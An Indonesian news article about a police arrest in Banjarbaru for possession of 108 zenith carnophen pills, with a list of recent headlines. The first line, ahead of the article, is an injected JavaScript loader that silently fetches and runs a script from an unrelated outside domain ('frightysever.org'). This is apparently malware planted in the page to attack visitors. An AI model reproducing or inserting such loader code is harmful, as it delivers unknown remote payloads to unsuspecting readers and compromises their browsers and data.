(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Jual Zenith, HK Warga Loktabat Selatan Dibekuk Polisi


KANALKALIMANTAN.COM, BANJARBARU – Seorang lelaki kedapatan menyimpan obat terlarang zenith carnophen di sebuah rumah di Jalan Nusantara RT 07 Kelurahan Loktabat Selatan, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, Jumat (26/7/2024) sekira pukul 17.30 Wita.

HK, 38 tahun dibekuk anggota Unit Opsnal Polsek Banjarbaru Utara setelah menerima informasi bahwa rumah tersebut kerap menjadi tempat transaksi narkoba.

Kapolsek Banjarbaru Utara, Kompol Yopie Andri Haryono mengungkap, buntut adanya informasi tersebut, anggota yang dipimpin oleh Panit 2 Opsnal Reskrim Aiptu Sugeng Gunawan crosscheck informasi tersebut.

Baca juga: Nyamar Jadi Siswa, SB Tertangkap Curi Laptop SMKN 3

Tersangka HK (38) kedapatan polisi menyimpan narkotika jenis zenith. Foto : Humas Polsek Banjarbaru

“Informasi tersebut dinilai akurat anggota melakukan penangkapan terhadap terduga pelaku berinisial HK di sebuah rumah,” ujar Kapolsek Banjarbaru Utara, Kompol Yopie Andri Haryono, Kamis (1/8/2024).

Pelaku HK yang juga tinggal di lokasi itu kemudian dilakukan penggeledahan badan beserta rumah tersebut.

“Didapat barang bukti zenith carnophen sebanyak 108 butir,” sebut dia.

Kapolsek menyebutkan, 108 butir zenith tersebut dibungkus dalam klip-klip plastik kecil sebanyak 10 butir per plastik klip.

Baca juga: Hari Kanker Paru Sedunia, Kenali Tanda Awal Kanker Paru-paru

“Kita temukan total 10 plastik klip berisi 10 butir per klip plastik, dan 8 butir di dalam 1 plastik klip kecil dan dimasukkan ke kantong plastik hitam, serta uang tunai sebesar Rp260.000,” tandasnya.

Modus pelaku adalah menyimpan narkotika dengan disembunyikan didalam laci meja toko milik pelaku.

Setelah ditangkap, HK dan barang bukti dibawa oleh anggota Opsnal Polsek Banjarbaru Utara ke Polsek untuk melanjutkan proses hukum.

Atas perbuatannya, tersangka akan dijerat hukuman seperti termuat dalam Pasal 114 ayat (1) dan atau Psl 112 ayat (1) UU RI No. 35 Tahun 2009 Tentang Narkotika. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.